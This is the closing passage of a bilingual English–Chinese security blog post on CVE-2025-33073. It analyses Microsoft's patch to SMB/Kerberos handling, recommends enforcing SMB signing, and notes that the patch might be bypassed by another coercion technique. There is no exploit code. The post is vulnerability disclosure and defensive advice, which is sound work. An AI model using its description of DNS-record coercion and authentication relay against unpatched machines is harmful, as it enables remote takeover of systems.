The function ksecdd!CredUnmarshalTargetInfo fails if the target name does not contain any marshalled target information, or if the format is incorrect. Therefore, this call was added to prevent any SMB connection if the use of a target name with marshalled target information was detected. Therefore, this patch prevents the exploitation of the vulnerability by removing the ability to coerce machines into authenticating via Kerberos by registering a DNS record with marshalled target information. However, it may still be exploitable by finding an alternative to the DNS record technique for coercing a client into authenticating to our relay server.
如果目标名称不包含任何封送的目标信息,或者格式不正确, 则函数
ksecdd!CredUnmarshalTargetInfo 将失败。因此,如果检测到使用具有封送目标信息的目标名称,则添加此调用是为了防止任何 SMB 连接。因此,此修补程序删除了通过使用编送目标信息注册 DNS 记录来强制计算机通过 Kerberos 进行身份验证的功能,从而防止漏洞被利用。但是,通过找到 DNS 记录技术的替代方案来强制客户端对我们的中继服务器进行身份验证,它仍然可以被利用。

To correctly fix the vulnerability, please refer to Microsoft’s official advisory. Moreover, to prevent any future vulnerability related to authentication relay on SMB, enforce SMB signing on your machines when possible. In this context, enforcing SMB signing prevents the exploitation of this vulnerability, even without applying the patch.
要正确修复此漏洞,请参阅
Microsoft 的官方公告 。 此外,为了防止将来出现与 SMB 上的身份验证中继相关的任何漏洞,请尽可能在您的计算机上强制实施 SMB 签名。 在这种情况下,强制执行 SMB 签名可以防止利用此漏洞,即使不应用补丁也是如此。

Conclusion  结论

Even though CVE-2025-33073 is referred by Microsoft as an elevation of privilege, it is actually an authenticated remote command execution as SYSTEM on any machine which does not enforce SMB signing.
尽管 CVE-2025-33073 被 Microsoft 称为特权提升,但它实际上是在任何不强制执行 SMB 签名的计算机上作为 SYSTEM 进行身份验证的远程命令执行。

In this blogpost, we described how we accidentally found the vulnerability, detailed our methodology to quickly get an insight into the vulnerability specificities and dove deep into LSASS internals to gain a comprehensive understanding of the vulnerability workflow. Eventually, we analyzed the official patch to illustrate that the vulnerability was fixed with only a few lines of code.
在这篇博文中,我们描述了我们如何意外发现漏洞,详细介绍了我们快速了解漏洞特性的方法,并深入研究了 LSASS 内部结构,以全面了解漏洞工作流程。最终,我们分析了官方补丁,以说明该漏洞仅用几行代码就被修复了。

As a last note, we wanted to highlight that CVE-2025-33073 is a good example on why enabling defense-in-depth mitigations such as SMB signing can prove extremely efficient, even against 0-days. Also, kudos to the other researchers who independently reported the vulnerability to Microsoft!
最后,我们想强调的是,CVE-2025-33073 是一个很好的例子,说明了为什么启用 SMB 签名等深度防御缓解措施可以证明非常有效,即使面对 0 天也是如此。此外,还要感谢独立向 Microsoft 报告该漏洞的其他研究人员!

0
  1. 支付宝打赏

    qrcode alipay
  2. 微信打赏

    qrcode weixin
  3. QQ打赏

    qrcode qq

评论区